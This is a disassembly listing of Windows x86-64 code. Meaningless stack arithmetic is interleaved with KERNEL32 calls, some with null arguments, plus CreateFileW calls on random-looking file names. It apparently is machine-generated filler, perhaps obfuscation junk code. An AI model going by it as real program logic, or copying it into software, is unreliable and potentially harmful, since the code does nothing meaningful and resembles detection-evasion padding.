mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
lea rax, [rsp + 0x4658]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [rsp + 0x9c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x8d58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f30], rax
mov eax, dword [rsp + 0x4778]
mov dword [rsp + 0x48d0], eax
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x374]
and eax, ecx
mov rcx, qword [rsp + 0xa0f0]
mov byte [rcx], al
lea rax, [rsp + 0x1518]
mov qword [rsp + 0xa8c8], rax
lea rdx, [rsp + 0x487c]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf8]
sar eax, cl
mov rcx, qword [0x14022b9a0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0xa560]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9d58], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc99
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4644], eax
movzx eax, word [rsp + 0x1d08]
movzx ecx, word [rsp + 0x1088]
add eax, ecx
mov word [rsp + 0x1cb0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0xa8d0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdbdd
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0xa418]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0xa700]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x343], al
mov eax, dword [rsp + 0x4764]
mov dword [rsp + 0x48d8], eax
movzx eax, word [rsp + 0xef0]
movzx ecx, word [rsp + 0x1d64]
or eax, ecx
mov word [rsp + 0x1cbc], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov qword [0x14022ba90], rax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0xa258]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b5c]
shl eax, cl
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
movsx ecx, word [0x14022ba24]
sar eax, cl
mov word [rsp + 0x1d6c], ax
lea rax, [rsp + 0x176c]
mov qword [rsp + 0xa8d8], rax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0xa110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa730]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xac], al
mov eax, dword [rsp + 0x437c]
mov dword [rsp + 0x48dc], eax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0x1d0c]
sub eax, ecx
mov word [rsp + 0x16b4], ax
mov rax, qword [0x14022b908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d4c]
sar eax, cl
mov rcx, qword [0x14022b9a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0xa290]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7f8]
mov rax, qword [rax]
mov rcx, qword [0x140229fc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0xa8e8], rax
movsx eax, byte [rsp + 0x349]
movsx ecx, byte [rsp + 0x188]
add eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f58], rax
mov eax, dword [rsp + 0x480c]
mov ecx, dword [rsp + 0x47e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4864], eax
mov eax, dword [rsp + 0x4758]
mov dword [rsp + 0x48e0], eax
movzx eax, byte [rsp + 0x36d]
movzx ecx, byte [rsp + 0x369]
shl eax, cl
mov rcx, qword [rsp + 0x9fe8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d40]
movsx ecx, word [rsp + 0x1cd4]
sar eax, cl
mov word [0x140229fc8], ax
mov r9d, 0x4a0
xor r8d, r8d
lea rdx, [rsp + 0xa500]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47a0], eax
mov rax, qword [0x14022ba30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.xMvmXBx51BoMdyx9Qt5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [0x14022b9a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa4f8], rax
lea rax, [rsp + 0x39dc]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0x8488]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x356]
and eax, ecx
mov byte [rsp + 0x357], al
mov r9d, 0x2612
xor r8d, r8d
lea rdx, [rsp + 0xa278]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0xa510]
movzx eax, word [rax]
mov word [rsp + 0x1db8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.LzCIOul4QuSry4TuzRs7AOgzQKcOPH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ce4], ax
mov rax, qword [rsp + 0xa360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cd0]
mov qword [rsp + 0xa908], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa908]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022ba78]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
mov word [rsp + 0x1dbc], ax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x7fd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9ca8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x48d0]
mov ecx, dword [rsp + 0x48ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f48], eax
movsx eax, byte [rsp + 0x351]
movsx ecx, byte [rsp + 0x35a]
xor eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x3db8]
mov qword [rsp + 0xa910], rax
movzx eax, byte [rsp + 0x310]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x331], al
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa508]
shr rax, cl
mov rcx, qword [rsp + 0xa2a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1400]
mov word [0x14022ba98], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0x1cd8]
mov qword [rsp + 0xa918], rax
mov rax, qword [rsp + 0xa1b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x163c], ax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
mov word [rsp + 0x1dc0], ax
mov rax, qword [rsp + 0x9430]
mov rcx, qword [rsp + 0x95a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6fd8], rax
lea rax, [rsp + 0x35c]
mov qword [rsp + 0xa920], rax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [0x14022b878]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x473c], eax
mov rcx, qword [rsp + 0x9f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1cd8]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cd4], ax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [0x14022b910]
and eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0xa2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5b8]
mov qword [rsp + 0xa928], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa928]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022ba10]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.ERnjuS71_fterwR3AZ8M1X06
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa930], rax
mov rax, qword [rsp + 0xa068]
mov rcx, qword [rsp + 0x7c50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0xa6f0]
mov qword [rsp + 0xa938], rax
mov r9d, 0x1f4b
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x83f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d74]
and eax, ecx
mov word [rsp + 0x1a7c], ax
mov eax, dword [rsp + 0x3db8]
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0xa3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
lea rdx, [rsp + 0x48e8]
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6729
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
lea rax, [rsp + 0xa390]
mov qword [rsp + 0xa940], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x370]
or eax, ecx
mov byte [rsp + 0x358], al
mov rax, qword [rsp + 0xa7c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8f8]
mov qword [rsp + 0xa948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140229fcc], eax
mov rax, qword [rsp + 0xa1d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov word [rcx], ax
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0xa950], rax
lea rdx, [rsp + 0x48ec]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47cc], eax
movzx eax, word [rsp + 0x1bc4]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d64], ax
mov rax, qword [rsp + 0xa560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d80], rax
mov rax, qword [rsp + 0xa598]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov byte [rcx], al
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x7e28]
mov rcx, qword [rsp + 0xa208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5d0], rax
lea rax, [0x140229fcc]
mov qword [rsp + 0xa958], rax
movsx eax, word [rsp + 0x1518]
movsx ecx, word [rsp + 0x1c78]
sub eax, ecx
mov rcx, qword [rsp + 0x9f00]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cfc]
mov word [0x14022ba9c], ax
lea rax, [0x140229fa0]
mov qword [rsp + 0xa960], rax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa778]
mov word [rcx], ax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov dword [rsp + 0x48f0], eax
movzx eax, byte [rsp + 0x35b]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7340
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4770], eax
movsx eax, byte [rsp + 0x353]
movsx ecx, byte [rsp + 0x37e]
or eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4230]
shl eax, cl
mov dword [rsp + 0x3ef4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0xa5f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7420], rax
lea rax, [rsp + 0x1db8]
mov qword [rsp + 0xa970], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9c58
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x485c], eax
mov r9d, 0x21eb
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4874], eax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b14]
add eax, ecx
mov rcx, qword [0x14022b9a0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0xa960]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa4a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa218]
mov qword [rsp + 0xa978], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa978]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x94b0], rax
mov r9d, 0x2185
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45ec], eax
lea rax, [0x140229f34]
mov qword [rsp + 0xa980], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xa430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a7c]
sub eax, ecx
mov word [rsp + 0x884], ax
lea rax, [rsp + 0x188]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x4718]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
lea rax, [rsp + 0x8330]
mov qword [rsp + 0xa990], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0xf30]
and eax, ecx
mov word [0x140229fd0], ax
movzx eax, word [rsp + 0x1d00]
movzx ecx, word [rsp + 0x1cd0]
and eax, ecx
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0xa550]
mov eax, dword [rax]
mov dword [rsp + 0x48f4], eax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48f8], eax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x377], al
mov rcx, qword [rsp + 0x9d88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b28]
movzx ecx, al
mov rax, qword [rsp + 0x9420]
sar rax, cl
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa220]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
lea rdx, [rsp + 0x48fc]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x485c], eax
lea rcx, [rsp + 0xa7e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa788]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a8], rax
lea rax, [rsp + 0x37b]
mov qword [rsp + 0xa998], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [0x14022b98c]
shl eax, cl
mov word [rsp + 0x1d8c], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [0x140229f98], ax
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov qword [rsp + 0xa9a0], rax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16dc]
add eax, ecx
mov word [rsp + 0x1cf4], ax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [0x14022b890]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa858]
mov qword [rsp + 0xa9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa048]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd06d
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rax, [rsp + 0x346]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xa2a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa1a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [0x14022b8c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0x9d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x76], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.4PjP99
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0x9fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x476c], eax
mov rcx, qword [rsp + 0xa7a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4fe8
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xa7f0]
movzx eax, word [rax]
mov word [rsp + 0x1dc4], ax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
xor r8d, r8d
mov edx, 0xf423
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4870], eax
mov eax, dword [rsp + 0x477c]
mov rcx, qword [rsp + 0xa580]
mov qword [rsp + 0xa9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa208]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9408], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rdx, [rsp + 0x4708]
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4900], eax
movsx eax, byte [rsp + 0x188]
movsx ecx, byte [rsp + 0xeb]
xor eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x1da8]
mov word [rsp + 0x1dc8], ax
lea rax, [rsp + 0x1cac]
mov qword [0x14022baa0], rax
mov rax, qword [0x140229f70]
movzx ecx, al
mov rax, qword [rsp + 0x97d0]
sar rax, cl
mov qword [rsp + 0x9eb8], rax
mov rax, qword [rsp + 0x9660]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0x9a80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b28], rax
movsx eax, word [rsp + 0xa2c]
movsx ecx, word [rsp + 0x1cdc]
sub eax, ecx
mov word [rsp + 0x1bbc], ax
lea rax, [rsp + 0xa508]
mov qword [rsp + 0xa9d8], rax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x363], al
lea rax, [0x140229fcc]
mov qword [rsp + 0xa9e0], rax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov byte [rcx], al
mov eax, dword [rsp + 0x3ea8]
movzx ecx, al
mov eax, dword [rsp + 0x47a4]
sar eax, cl
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ca0]
and eax, ecx
mov word [0x14022b820], ax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa198]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb08], ax
lea rdx, [rsp + 0x4904]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0xa7b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa4f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ce4], ax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov qword [rsp + 0xa9e8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa349
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4714], eax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0xa378]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e04]
movzx ecx, al
mov eax, dword [rsp + 0x4764]
shl eax, cl
mov rcx, qword [rsp + 0xa9e0]
mov dword [rcx], eax
lea rax, [rsp + 0x37c]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x98c], ax
movzx eax, word [0x14022b850]
movzx ecx, word [rsp + 0x1a90]
sar eax, cl
mov word [rsp + 0x17c8], ax
lea rax, [rsp + 0xa038]
mov qword [0x14022baa8], rax
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb08], ax
lea rdx, [rsp + 0x4908]
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0xa0a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a8], rax
lea rax, [0x140229f30]
mov qword [rsp + 0xaa00], rax
mov eax, dword [rsp + 0x429c]
mov ecx, dword [rsp + 0x48e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48f4], eax
lea rax, [rsp + 0x76]
mov qword [rsp + 0xaa08], rax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
